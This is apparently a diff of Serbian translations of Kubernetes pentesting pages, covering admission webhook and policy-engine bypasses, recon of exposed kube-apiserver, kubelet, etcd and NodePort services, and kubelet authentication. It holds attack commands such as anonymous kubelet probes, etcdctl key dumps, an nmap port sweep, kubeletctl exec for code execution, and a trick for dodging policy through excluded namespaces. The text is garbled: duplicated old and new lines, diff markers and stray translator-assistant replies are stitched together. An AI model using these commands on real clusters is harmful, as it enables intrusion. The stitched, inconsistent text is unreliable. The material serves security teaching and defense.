- `rules`: Proverite obuhvaćene API groups, versions, resources, subresources, operations i scope.
- `namespaceSelector` / `objectSelector`: Tražite namespaces ili labels koji isključuju resurse iz policy.
- `matchConditions`: CEL expressions mogu namerno ili slučajno da preskoče zahteve.
- `failurePolicy`: `Ignore` dopušta da zahtevi nastave ako webhook zakaže; `Fail` ih blokira.
- `sideEffects`: Webhooks sa side effects možda ne podržavaju dry-run testiranje.
- `timeoutSeconds`: Vrlo kratki timeouti u kombinaciji sa `Ignore` mogu dovesti do fail-open ponašanja.
- `clientConfig`: Proverite da li webhook pokazuje na in-cluster Service ili external URL, i pregledajte backing workload i service account.
- `reinvocationPolicy`: Mutating webhooks mogu biti reinvoked kada kasnija mutation promeni object.
- `rules`: Proveri obuhvaćene API grupe, verzije, resurse, podresurse, operacije i scope.
- `namespaceSelector` / `objectSelector`: Traži namespace-ove ili oznake koje isključuju resurse iz politike.
- `matchConditions`: CEL izrazi mogu namerno ili slučajno da preskoče zahteve.
- `failurePolicy`: `Ignore` dozvoljava nastavak zahteva ako webhook zakaže; `Fail` ih blokira.
- `sideEffects`: Webhook-ovi sa side effects možda ne podržavaju dry-run testiranje.
- `timeoutSeconds`: Veoma kratki timeout-i u kombinaciji sa `Ignore` mogu postati fail-open ponašanje.
- `clientConfig`: Proveri da li webhook pokazuje na in-cluster Service ili eksterni URL, i pregledaj backing workload i service account.
- `reinvocationPolicy`: Mutating webhook-ovi mogu biti ponovo pozvani kada kasnija mutacija promeni objekat.
### Abuse Kyverno and Gatekeeper VWC
### Native CEL admission policies
Kao što možemo da vidimo, svi instalirani operators imaju bar jednu ValidatingWebHookConfiguration(VWC).
Moderni cluster-i mogu takođe da primenjuju admission logiku pomoću native policy objekata u `admissionregistration.k8s.io`, ne samo putem webhook konfiguracija. `ValidatingAdmissionPolicy` je in-process CEL-based alternativa validating webhook-ovima i aktivna je samo kada je izabere `ValidatingAdmissionPolicyBinding`. `MutatingAdmissionPolicy` je stable u Kubernetes v1.36 i aktivira se pomoću `MutatingAdmissionPolicyBinding` za CEL-generated mutacije.
**Kyverno** i **Gatekeeper** su Kubernetes policy engines koji pružaju framework za definisanje i enforce-ovanje policies kroz cluster.
Nabroji ih sa:
```bash
kubectl api-resources --api-group=admissionregistration.k8s.io -o wide
kubectl get validatingadmissionpolicies,validatingadmissionpolicybindings
kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings 2>/dev/null || true
kubectl get validatingadmissionpolicy <name> -o yaml
kubectl get validatingadmissionpolicybinding <name> -o yaml
```
Bezbednosne provere:
Exceptions se odnose na specifična pravila ili uslove koji dozvoljavaju da se policy zaobiđe ili izmeni pod određenim okolnostima, ali ovo nije jedini način !
- Policy bez binding-a ne primenjuje ništa.
- `validationActions` na binding-u odlučuje da li se neuspešne validacije odbijaju, upozoravaju, auditiraju ili samo beleže.
- `failurePolicy: Ignore` omogućava da CEL greške pri evaluaciji ili loša konfiguracija prođu otvoreno.
- `matchConstraints`, `matchConditions`, `namespaceSelector` i `objectSelector` mogu da isključe osetljive zahteve.
- `paramKind` i `paramRef` mogu da učine da ConfigMaps ili parametarski objekti podržani od strane CRD-a budu deo granice policy-ja; proveri ko može da menja te parametarske objekte.
- Upisi u policy-je, binding-e i resurse sa parametrima treba tretirati kao privilegovane promene admission-control-a.
Za **kyverno**, pošto postoji validating policy, webhook `kyverno-resource-validating-webhook-cfg` je popunjen.
### Abusing Kyverno and Gatekeeper VWC
Kao što možemo videti, svi instalirani operatori imaju bar jednu ValidatingWebHookConfiguration(VWC).
**Kyverno** i **Gatekeeper** su oba Kubernetes policy engine-a koji obezbeđuju framework za definisanje i primenu policy-ja kroz ceo cluster.
Exceptions se odnose na specifična pravila ili uslove koji omogućavaju da se policy zaobiđe ili izmeni pod određenim okolnostima, ali to nije jedini način !
Za **kyverno**, čim postoji validating policy, webhook `kyverno-resource-validating-webhook-cfg` je popunjen.
Za Gatekeeper, postoji `gatekeeper-validating-webhook-configuration` YAML file.
Oba dolaze sa default values, ali Administrator teams mogu da ažuriraju ta 2 file-a.
Oba dolaze sa default vrednostima, ali administratorski timovi možda su ažurirali ta dva file-a.
### Use Case
```bash
$ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml
```
Naravno — pošaljite izlaz koji želite da identifikujem.
{"error":"No content provided to translate."}
```yaml
namespaceSelector:
matchExpressions:
@@ -109,22 +130,22 @@ values:
- kube-system
- MYAPP
```
Ovde, `kubernetes.io/metadata.name` se odnosi na labelu naziva namespace-a. Namespace-ovi čija su imena na listi `values` biće isključeni iz policy-ja:
Ovde, `kubernetes.io/metadata.name` se odnosi na labelu imena namespace-a. Namespace-ovi čija su imena u listi `values` biće isključeni iz politike:
Proveri postojanje namespace-ova. Ponekad, zbog automatizacije ili pogrešne konfiguracije, neki namespace-ovi možda nisu kreirani. Ako imaš dozvolu da kreiraš namespace, mogao bi da kreiraš namespace sa imenom koje je na listi `values`, i policy-ja se neće primenjivati na tvoj novi namespace.
Proveri postojanje namespace-ova. Ponekad, zbog automatizacije ili pogrešne konfiguracije, neki namespace-ovi možda nisu kreirani. Ako imaš dozvolu da kreiraš namespace, mogao bi da kreiraš namespace sa imenom iz liste `values` i politike se neće primeniti na tvoj novi namespace.
Cilj ovog napada je da se iskoristi **misconfiguration** unutar VWC kako bi se zaobišla ograničenja operatora, a zatim da se privilegije podignu pomoću drugih tehnika
Cilj ovog napada je da iskoristi **misconfiguration** unutar VWC kako bi se zaobišla ograničenja operatora, a zatim da se privilegije podignu drugim tehnikama
Drugi uobičajeni obrasci za bypass ili abuse:
Drugi uobičajeni obrasci zaobilaženja ili zloupotrebe:
- `objectSelector` koji dozvoljava korisnicima da dodaju opt-out labelu sopstvenim objektima.
- `failurePolicy: Ignore` na validation koja je kritična za bezbednost, posebno kada webhook Service nema endpoints ili je mreža nepouzdana.
- Iznimke policy engine-a za korisnike, grupe, service accounts, namespace-ove ili role koje su šire nego što je predviđeno.
- Nedovoljna pokrivenost template-ova workload controller-a, `pods/ephemeralcontainers`, `pods/exec`, custom resources ili update operacija.
- Write pristup za `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policy-je ili exception resurse.
- Zlonamerni mutating webhook koji ubacuje kontejnere, menja images, montira secrets, dodaje tolerations ili menja izbor service account-a pre validation.
- `objectSelector` koji korisnicima omogućava da dodaju opt-out labelu na svoje objekte.
- `failurePolicy: Ignore` na bezbednosno kritičnoj validaciji, posebno kada webhook Service nema endpoints ili je mreža nepouzdana.
- Izuzetci policy engine-a za korisnike, grupe, service accounts, namespace-ove ili role koji su širi nego što je predviđeno.
- Nedostatak pokrivenosti za workload controller templates, `pods/ephemeralcontainers`, `pods/exec`, custom resources ili update operacije.
- Write access na `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policies ili exception resurse.
- Zlonamerni mutating webhook koji ubacuje containere, menja images, montira secrets, dodaje tolerations ili menja izbor service account-a pre validacije.
Zapamti da admission štiti samo zahteve koji prolaze kroz admission chain API servera. Static Pods, node-local runtime socket access, direktan kubelet abuse i direktan etcd access su različiti trust paths i zahtevaju zasebno hardening i monitoring.
Zapamti da admission štiti samo zahteve koji prolaze kroz API server admission chain. Static Pods, node-local runtime socket access, direktna kubelet zloupotreba i direktan etcd access su različiti trust paths i zahtevaju posebno hardening i monitoring.
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -137,6 +158,8 @@ abusing-roles-clusterroles-in-kubernetes/
- [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)
- [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/)
- [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/)
- [https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/)
- [https://kubernetes.io/docs/reference/using-api/cel/](https://kubernetes.io/docs/reference/using-api/cel/)
@@ -2,25 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}}
Kubernetes koristi nekoliko **specifičnih network services** koje možete naći **izložene Internetu** ili u **internal network-u nakon što kompromitujete jedan pod**.
Kubernetes koristi nekoliko **specifičnih network servisa** koje možete naći **izloženim Internetu** ili u **internoj network** nakon što kompromitujete jedan pod.
## Finding exposed pods with OSINT
Jedan način bi mogao biti pretraga `Identity LIKE "k8s.%.com"` na [crt.sh](https://crt.sh) kako biste pronašli poddomene povezane sa kubernetes. Drugi način bi mogao biti pretraga `"k8s.%.com"` na github i pretraga **YAML files** koji sadrže taj string.
Jedan način bi bio da tražite `Identity LIKE "k8s.%.com"` na [crt.sh](https://crt.sh) da biste pronašli poddomene povezane sa kubernetes. Drugi način može biti da tražite `"k8s.%.com"` na github i pretražujete **YAML fajlove** koji sadrže taj string.
Korisni eksterni recon signali za korelaciju pre skeniranja:
Korisni external recon signali za korelaciju pre skeniranja:
- DNS i certificate transparency imena koja sadrže `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`, ili nazive regiona.
- Cloud load balancer imena, CNAME-ovi, tagovi i provider hostnames koji mogu povezati izloženu application ili platform UI nazad sa cluster-om.
- Public repositories, CI logs, Helm values, Terraform state, rendered manifests, container images i documentation koji odaju kubeconfigs, API server URL-ove, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, Ingress hosts, Gateway listeners, ili dashboard settings.
- Managed Kubernetes inventory, kada su cloud credentials u opsegu: EKS public/private access endpoint i public CIDR-ovi, GKE public/private control-plane settings i authorized networks, i AKS private cluster/API server authorized IP settings.
- Izloženi platform tools oko cluster-a kao što su Argo CD, Prometheus, Grafana, Harbor, registries, CI/CD dashboards, service mesh dashboards, i ingress-controller admin ili metrics endpoints.
- DNS i certificate transparency nazivi koji sadrže `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`, ili nazive regiona.
- Cloud load balancer nazivi, CNAME-ovi, tagovi i provider hostname-ovi koji mogu povezati izloženu application ili platform UI nazad sa clusterom.
- Public repozitorijumi, CI logovi, Helm values, Terraform state, rendered manifests, container images i documentation koji otkrivaju kubeconfig-ove, API server URL-ove, namespaces, service account-ove, `type: LoadBalancer`, `type: NodePort`, Ingress hostove, Gateway listener-e ili dashboard settings.
- Managed Kubernetes inventory, kada su cloud credentials u scope-u: EKS public/private access endpoint-i i public CIDRs, GKE public/private control-plane settings i authorized networks, i AKS private cluster/API server authorized IP settings.
- Izloženi platform tools oko cluster-a kao što su Argo CD, Prometheus, Grafana, Harbor, registries, CI/CD dashboards, service mesh dashboards, i ingress-controller admin ili metrics endpoint-i.
Ovo tretirajte kao attribution i prioritization tragove. Javna Ingress application je normalna u mnogim cluster-ovima, dok exposed kubelet, etcd, dashboard, CI/CD deploy control, ili procureli kubeconfig materijal treba znatno više prioritizovati.
Posmatrajte ovo kao attribution i prioritization tragove. Javna Ingress application je normalna u mnogim cluster-ovima, dok izloženi kubelet, etcd, dashboard, CI/CD deploy control, ili procureni kubeconfig material treba mnogo više prioritetizovati.
## How Kubernetes Exposes Services
Može vam biti korisno da razumete kako Kubernetes može **javnosti da izloži services** kako biste ih pronašli:
Može biti korisno da razumete kako Kubernetes može da **izlaže services javno** kako biste ih pronašli:
{{#ref}}
../exposing-services-in-kubernetes.md
@@ -61,7 +61,7 @@ curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```
**Proverite sledeću stranicu da biste naučili kako da dobijete sensitive data i izvršite sensitive actions komunicirajući sa ovom uslugom:**
**Proverite sledeću stranicu da biste naučili kako da dobijete osetljive podatke i obavite osetljive akcije komunikacijom sa ovom uslugom:**
{{#ref}}
../kubernetes-enumeration.md
@@ -69,7 +69,7 @@ curl -k https://<IP Address>:(8|6)443/api/v1
### Kubelet API
Ova usluga **radi na svakom čvoru klastera**. To je usluga koja će **kontrolisati** podove unutar **čvora**. Komunicira sa **kube-apiserver**.
Ova usluga **radi na svakom node-u klastera**. To je usluga koja će **kontrolisati** podove unutar **node-a**. Ona komunicira sa **kube-apiserver**.
Ako pronađete ovu uslugu izloženu, možda ste pronašli **unauthenticated RCE**.
@@ -80,7 +80,7 @@ curl -k https://<IP address>:10250/pods
```
Ako je odgovor `Unauthorized`, onda je potrebna autentifikacija.
Ako možeš da izlistaš node-ove, možeš da dobiješ listu kubelets endpoint-ova sa:
Ako možete da izlistate node-ove, možete dobiti listu kubelets endpoint-ova sa:
```bash
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
ip=$(echo $node | awk '{print $1}')
@@ -89,7 +89,7 @@ echo "curl -k --max-time 30 https://$ip:$port/pods"
echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd
done
```
#### kubelet (samo za čitanje)
#### kubelet (Read only)
```bash
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
@@ -104,7 +104,7 @@ etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```bash
helm --host tiller-deploy.kube-system:44134 version
```
Ovu uslugu možete abuse-ovati da eskalirate privilegije unutar Kubernetes:
Ovu uslugu možete zloupotrebiti za eskalaciju privilegija unutar Kubernetes:
### cAdvisor
@@ -114,13 +114,13 @@ curl -k https://<IP Address>:4194
```
### NodePort
Kada je port izložen na svim nodovima preko **NodePort**, isti port je otvoren na svim nodovima i proksira saobraćaj ka deklarisanom **Service**. Podrazumevano, ovaj port će biti u **opsegu 30000-32767**. Zato nove neproverene usluge mogu biti dostupne kroz te portove.
Kada je port izložen na svim node-ovima preko **NodePort**, isti port je otvoren na svim node-ovima i prosleđuje traffic ka deklarisanom **Service**. Po defaultu, ovaj port će biti u **range 30000-32767**. Zato novi neprovereni services mogu biti dostupni preko tih portova.
```bash
sudo nmap -sS -p 30000-32767 <IP>
```
### Service mesh i proxy surface
### Service mesh i proxy surface-i
Klasteri koji koriste **Istio, Linkerd, Cilium service mesh, ili Envoy-based gateways** dodaju još jedan servisni sloj za enumeraciju. Mesh može da obezbedi mTLS, workload identity, L7 routing, authorization policy, telemetry i gateway/egress kontrole, ali štiti samo saobraćaj koji je zaista uključen i presretnut od strane mesh-a.
Klasteri koji koriste **Istio, Linkerd, Cilium service mesh, ili gateway-e bazirane na Envoy-u** dodaju još jedan servisni sloj za enumeraciju. Mesh može da obezbedi mTLS, workload identity, L7 rutiranje, authorization policy, telemetry, i gateway/egress kontrole, ali štiti samo saobraćaj koji je zaista uključen i presretnut od strane mesh-a.
Korisne provere iz Kubernetes pristupa:
```bash
@@ -132,44 +132,54 @@ kubectl get svc -A | egrep 'istio|envoy|linkerd|kiali|jaeger|prometheus|grafana|
```
Review:
- Namespace-ovi ili workload-ovi koji su isključili injection, i dalje rade bez proxy-ja, ili su kreirani pre nego što je injection omogućen.
- mTLS mode. Permissive migration mode-ovi i dalje mogu da prihvate plaintext od unmeshed izvora.
- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, i egress resurse.
- Linkerd policy resources, identity, Server/authorization objekti, i izloženi `linkerd-viz`, tap, ili metrics surface-ovi.
- Cilium service mesh i Gateway API resources, Hubble visibility, Cilium policies, i Envoy integration points.
- Envoy admin, config dump, stats, metrics, tracing, dashboard, i debug endpoints. Oni mogu da leak-uju routes, upstreams, certificates, identity, i traffic state ako su previše široko izloženi.
- Namespaces or workloads that opted out of injection, still run without a proxy, or were created before injection was enabled.
- mTLS mode. Permissive migration modes may still accept plaintext from unmeshed sources.
- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, and egress resources.
- Linkerd policy resources, identity, Server/authorization objects, and exposed `linkerd-viz`, tap, or metrics surfaces.
- Cilium service mesh and Gateway API resources, Hubble visibility, Cilium policies, and Envoy integration points.
- Envoy admin, config dump, stats, metrics, tracing, dashboard, and debug endpoints. These can leak routes, upstreams, certificates, identity, and traffic state if exposed too broadly.
Nemojte tretirati service mesh kao zamenu za Kubernetes RBAC ili NetworkPolicies. Mesh policy može da blokira HTTP request dok unmeshed Pod, skipped port, direct Pod IP path, gateway, egress proxy, ili missing NetworkPolicy i dalje ostavlja praktičnu putanju.
Do not treat service mesh as a replacement for Kubernetes RBAC or NetworkPolicies. A mesh policy can block an HTTP request while an unmeshed Pod, skipped port, direct Pod IP path, gateway, egress proxy, or missing NetworkPolicy still leaves a practical route.
## Vulnerable Misconfigurations
### Kube-apiserver Anonymous Access
Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints:
Anonymous access to **kube-apiserver resource APIs should not be allowed**. Health endpoints such as `/livez`, `/readyz`, and `/healthz` may be intentionally reachable, especially when the API server uses `AuthenticationConfiguration` to scope anonymous requests to specific paths. Treat health or version responses as reachability evidence; the critical issue is a `200` response for real resource APIs such as namespaces, Secrets, Pods, RBAC objects, metrics, logs, or proxy subresources without valid credentials.
![Kubernetes API server anonymous access output listing exposed API paths](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png)
### **Checking for ETCD Anonymous Access**
Useful checks:
```bash
APISERVER='https://<api-server>:6443'
curl -sk -o /dev/null -w 'livez=%{http_code}\n' "$APISERVER/livez"
curl -sk -o /dev/null -w 'readyz=%{http_code}\n' "$APISERVER/readyz"
curl -sk -o /dev/null -w 'namespaces=%{http_code}\n' "$APISERVER/api/v1/namespaces"
curl -sk -o /dev/null -w 'clusterroles=%{http_code}\n' "$APISERVER/apis/rbac.authorization.k8s.io/v1/clusterroles"
```
Ako resource APIs vraćaju `403`, API server je možda klasifikovao zahtev kao `system:anonymous`, ali je authorization blokirao pristup. Ako resource APIs vraćaju `200` bez credentials, potraži RoleBindings ili ClusterRoleBindings za `system:anonymous` ili `system:unauthenticated`, permissive authorizer-chain konfiguraciju, ili grešku u front-door authentication.
ETCD čuva cluster secrets, configuration files i druge **sensitive data**. **By default**, ETCD **cannot** be accessed **anonymously**, ali je uvek dobro proveriti.
### **Provera ETCD Anonymous Access**
Ako je ETCD moguće pristupiti anonymously, možda ćete morati da **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. Sledeća komanda će prikazati sve sačuvane ključeve:
ETCD čuva cluster secrets, configuration files i druge **sensitive data**. Po **default**, ETCD **ne može** da se pristupi **anonymously**, ali je uvek dobro proveriti.
Ako se ETCD može pristupiti anonymously, možda ćeš morati da **koristiš** alat [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md). Sledeća komanda će prikazati sve sačuvane keys:
```bash
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### **Kubelet RCE**
[**Kubelet dokumentacija**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) objašnjava da je po **defaultu anonimni pristup** servisu **dozvoljen:**
[**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) objašnjava da je po **defaultu anonimni pristup** servisu **dozvoljen:**
> Omogućava anonimne zahteve prema Kubelet serveru. Zahtevi koje ne odbaci neki drugi metod autentifikacije tretiraju se kao anonimni zahtevi. Anonimni zahtevi imaju username `system:anonymous` i group name `system:unauthenticated`
> Omogućava anonimne zahteve ka Kubelet serveru. Zahtevi koje ne odbaci drugi authentication metod tretiraju se kao anonimni zahtevi. Anonimni zahtevi imaju username `system:anonymous`, i group name `system:unauthenticated`
Da biste bolje razumeli kako **autentifikacija i autorizacija Kubelet API-ja rade** pogledajte ovu stranicu:
Da bi bolje razumeli kako **authentication i authorization Kubelet API-ja funkcionišu** pogledajte ovu stranicu:
{{#ref}}
kubelet-authentication-and-authorization.md
{{#endref}}
**Kubelet** service **API nije dokumentovan**, ali source code se može naći ovde, a pronalaženje exposed endpoints je jednostavno kao **pokretanje**:
**Kubelet** servis **API nije dokumentovan**, ali source code može da se pronađe ovde i pronalaženje exposed endpoints je jednostavno kao i **pokretanje**:
```bash
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
@@ -181,32 +191,32 @@ Path("/portForward")
Path("/containerLogs")
Path("/runningpods/").
```
Svi zvuče zanimljivo.
Svi oni zvuče interesantno.
Možete koristiti alat [**Kubeletctl**](https://github.com/cyberark/kubeletctl) da biste interagovali sa Kubelets i njihovim endpoint-ovima.
Možete da koristite alat [**Kubeletctl**](https://github.com/cyberark/kubeletctl) da biste interagovali sa Kubelet-ima i njihovim endpoint-ima.
#### /pods
Ovaj endpoint prikazuje pods i njihove kontejnere:
Ovaj endpoint prikazuje listu pods i njihovih kontejnera:
```bash
kubeletctl pods
```
#### /exec
Ovaj endpoint omogućava veoma lako izvršavanje koda unutar bilo kog kontejnera:
Ovaj endpoint omogućava vrlo lako izvršavanje koda unutar bilo kog kontejnera:
```bash
kubeletctl exec [command]
```
> [!NOTE]
> Da bi se izbegao ovaj attack, _**kubelet**_ service treba pokretati sa `--anonymous-auth false`, a service treba da bude segregiran na network nivou.
> Da bi se izbegao ovaj attack, _**kubelet**_ servis treba da se pokreće sa `--anonymous-auth false` i servis treba da bude odvojen na network nivou.
### **Checking Kubelet (Read Only Port) Information Exposure**
### **Provera izloženosti informacija Kubelet (Read Only Port)**
Kada je izložen **kubelet read-only port**, postaje moguće da neovlašćene strane preuzmu informacije iz API-ja. Izlaganje ovog porta može dovesti do otkrivanja različitih **cluster configuration elements**. Iako informacije, uključujući **pod names, locations of internal files, and other configurations**, možda nisu kritične, njihovo izlaganje i dalje predstavlja security rizik i trebalo bi ga izbegavati.
Kada je izložen **kubelet read-only port**, postaje moguće da neovlašćene strane preuzmu informacije iz API-ja. Izloženost ovog porta može dovesti do otkrivanja različitih **elemenata konfiguracije clustera**. Iako informacije, uključujući **imena podova, lokacije internih fajlova i druge konfiguracije**, možda nisu kritične, njihova izloženost i dalje predstavlja security rizik i treba je izbegavati.
Primer kako se ova vulnerability može iskoristiti uključuje remote attacker-a koji pristupa određenom URL-u. Navigacijom na `http://<external-IP>:10255/pods`, attacker može potencijalno preuzeti sensitive informacije iz kubelet-a:
Primer kako se ova ranjivost može iskoristiti uključuje udaljenog napadača koji pristupa određenom URL-u. Navigacijom na `http://<external-IP>:10255/pods`, napadač potencijalno može da preuzme osetljive informacije iz kubelet-a:
![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)
![Odgovor sa kubelet read-only porta koji otkriva informacije o podovima](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)
## References
@@ -1,24 +1,24 @@
# Kubelet autentikacija i autorizacija
# Kubelet Authentication & Authorization
{{#include ../../../banners/hacktricks-training.md}}
## Kubelet autentikacija <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Kubelet Authentication <a href="#kubelet-authentication" id="kubelet-authentication"></a>
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
[**Iz docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
By default, requests to the kubelet's HTTPS endpoint that are not rejected by other configured authentication methods are treated as anonymous requests, and given a **korisničko ime `system:anonymous`** and a **grupa `system:unauthenticated`**.
Podrazumevano, zahtevi ka kubelet-ovom HTTPS endpoint-u koji nisu odbijeni od strane drugih konfigurisanih authentication metoda tretiraju se kao anonymous zahtevi, i dobijaju **username `system:anonymous`** i **group `system:unauthenticated`**.
Postoje **3** metode autentikacije su:
**3** authentication **metode** su:
- **Anonymous** (podrazumevano): Dozvoljeno ako je podešen parametar **`--anonymous-auth=true`** ili u konfiguraciji:
- **Anonymous** (default): Use set setting the param **`--anonymous-auth=true` or the config:**
```json
"authentication": {
"anonymous": {
"enabled": true
},
```
- **Webhook**: Ovo će **omogućiti** kubectl **API bearer tokens** kao autorizaciju (bilo koji važeći token će biti važeći). Dozvolite to sa:
- osigurajte da je `authentication.k8s.io/v1beta1` API grupa omogućena u API serveru
- **Webhook**: Ovo će **omogućiti** kubectl **API bearer tokens** kao autorizaciju (svaki validan token će biti validan). Dozvoli to sa:
- obezbedite da je `authentication.k8s.io/v1beta1` API group omogućen u API serveru
- pokrenite kubelet sa **`--authentication-token-webhook`** i **`--kubeconfig`** zastavicama ili koristite sledeće podešavanje:
```json
"authentication": {
@@ -28,11 +28,11 @@ Postoje **3** metode autentikacije su:
},
```
> [!NOTE]
> Kubelet poziva **`TokenReview` API** na konfigurisanom API serveru da bi **odredio informacije o korisniku** iz bearer tokena
>
- **X509 klijentski sertifikati:** Omogućavaju autentifikaciju putem X509 klijentskih sertifikata
> kubelet poziva **`TokenReview` API** na konfigurisanom API serveru da bi **odredio korisničke informacije** iz bearer tokena
- **X509 client certificates:** Omogućavaju autentifikaciju putem X509 client certs
- pogledajte [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) za više detalja
- pokrenite kubelet sa `--client-ca-file` flagom, obezbeđujući CA bundle za verifikaciju klijentskih sertifikata. Ili sa konfiguracijom:
- pokrenite kubelet sa `--client-ca-file` flagom, uz navođenje CA bundle-a za verifikaciju client certificates. Ili sa config:
```json
"authentication": {
"x509": {
@@ -40,16 +40,16 @@ Postoje **3** metode autentikacije su:
}
}
```
## Kubelet autorizacija <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
Svaki zahtev koji je uspešno autentifikovan (uključujući anonimni zahtev) **se zatim autorizuje**. Podrazumevani režim autorizacije je **`AlwaysAllow`**, koji **dozvoljava sve zahteve**.
Svaki request koji je uspešno autentifikovan (uključujući i anonimni request) **zatim je autorizovan**. **Podrazumevani** authorization mode je **`AlwaysAllow`**, koji **dozvoljava sve request-ove**.
Međutim, druga moguća vrednost je **`webhook`** (što je ono što ćete **uglavnom sresti napolju**). Ovaj režim će **proveriti dozvole autentifikovanog korisnika** da dozvoli ili onemogući neku akciju.
Međutim, druga moguća vrednost je **`webhook`** (što je ono što ćete **uglavnom nalaziti tamo napolju**). Ovaj mode će **proveriti permissions autentifikovanog korisnika** da bi dozvolio ili zabranio akciju.
> [!WARNING]
> Imajte na umu da čak i ako je **anonimna autentifikacija omogućena**, **anonimni pristup** možda **nema nikakve dozvole** za izvođenje bilo koje akcije.
> Imajte na umu da čak i ako je **anonymous authentication enabled**, **anonymous access** možda **nema nikakve permissions** da izvrši bilo koju akciju.
Autorizacija preko webhook-a se može konfigurisati koristeći **parametar `--authorization-mode=Webhook`** ili putem konfiguracionog fajla sa:
Authorization via webhook može se konfigurisati pomoću **parametra `--authorization-mode=Webhook`** ili preko config file-a sa:
```json
"authorization": {
"mode": "Webhook",
@@ -59,11 +59,11 @@ Autorizacija preko webhook-a se može konfigurisati koristeći **parametar `--au
}
},
```
Kubelet poziva **`SubjectAccessReview`** API na konfigurisanom API serveru da **utvrdi** da li je svaki zahtev **autorizovan.**
The kubelet poziva **`SubjectAccessReview`** API na konfigurisani API server da bi **odredio** da li je svaki zahtev **autorizovan.**
Kubelet autorizuje API zahteve koristeći isti [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) pristup kao apiserver:
kubelet autorizuje API zahteve koristeći isti pristup [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) kao i apiserver:
- **Akcija**
- **Action**
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
@@ -73,31 +73,46 @@ Kubelet autorizuje API zahteve koristeći isti [request attributes](https://kube
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
- The **resource** talking to the Kubelet api is **always** **nodes** and **subresource** is **determined** from the incoming request's path:
- **resource** koji govori sa Kubelet api je **uvek** **nodes** i **subresource** se **određuje** iz putanje dolaznog zahteva:
| Kubelet API | resurs | subresurs |
| ------------ | ------ | --------- |
| /stats/* | nodes | stats |
| /metrics/* | nodes | metrics |
| /logs/* | nodes | log |
| /spec/* | nodes | spec |
| _all others_ | nodes | proxy |
| Kubelet API | resource | subresource |
| ------------ | -------- | ----------- |
| /stats/\* | nodes | stats |
| /metrics/\* | nodes | metrics |
| /logs/\* | nodes | log |
| /spec/\* | nodes | spec |
| /checkpoint/\* | nodes | checkpoint |
| _all others_ | nodes | proxy |
U modernim clusterima, fine-grained kubelet authorization je podrazumevano omogućena. Kubernetes v1.36 je ovo učinio stabilnim: kubelet prvo proverava specifičnije subresources za putanje kao što su `/pods`, `/runningPods`, `/healthz`, i `/configz` pre nego što se vrati na `nodes/proxy` radi backward compatibility.
| Kubelet API | preferred subresource | fallback |
| ----------- | --------------------- | -------- |
| /pods | nodes/pods | nodes/proxy |
| /runningPods/ | nodes/pods | nodes/proxy |
| /healthz | nodes/healthz | nodes/proxy |
| /configz | nodes/configz | nodes/proxy |
Koristi ove užе subresources za monitoring i diagnostics kad god je moguće. Izbegavaj dodeljivanje širokog `nodes/proxy` za obične metrics, stats, health, pod-listing, ili config pregled jer `nodes/proxy` i dalje pokriva kubelet API-je sa većim uticajem.
> [!NOTE]
